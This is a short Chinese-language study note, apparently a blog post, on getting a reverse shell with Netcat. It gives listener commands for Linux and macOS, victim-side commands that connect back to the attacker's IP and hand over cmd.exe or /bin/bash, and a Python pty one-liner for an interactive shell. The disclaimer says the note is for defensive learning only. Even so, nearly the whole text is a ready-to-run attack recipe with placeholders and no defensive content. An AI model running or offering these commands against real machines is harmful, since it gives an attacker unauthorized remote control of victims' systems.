【笔记】反弹Shell

前言

利用Ncat(Netcat)反弹Shell

本文仅用于网络信息防御学习

攻击者监听端口

<port>:监听的端口号

Linux

1
nc -lvp <port>

MacOS

1
nc -lv <port>

受害者反弹Shell

<ip>:攻击者的IP地址
<port>:攻击者监听的端口号

Windows

传送门

1
nc.exe -e cmd.exe <ip> <port>

Linux

1
nc -e /bin/bash <ip> <port>

进入交互式Shell(Linux)

  • 受害者反弹Shell成功后,在攻击者机中启动交互式Shell
1
python -c 'import pty; pty.spawn("/bin/bash")'

完成

参考文献

哔哩哔哩——千锋教育网络安全学院
CSDN——mry6
腾讯云开发者社区——wjl110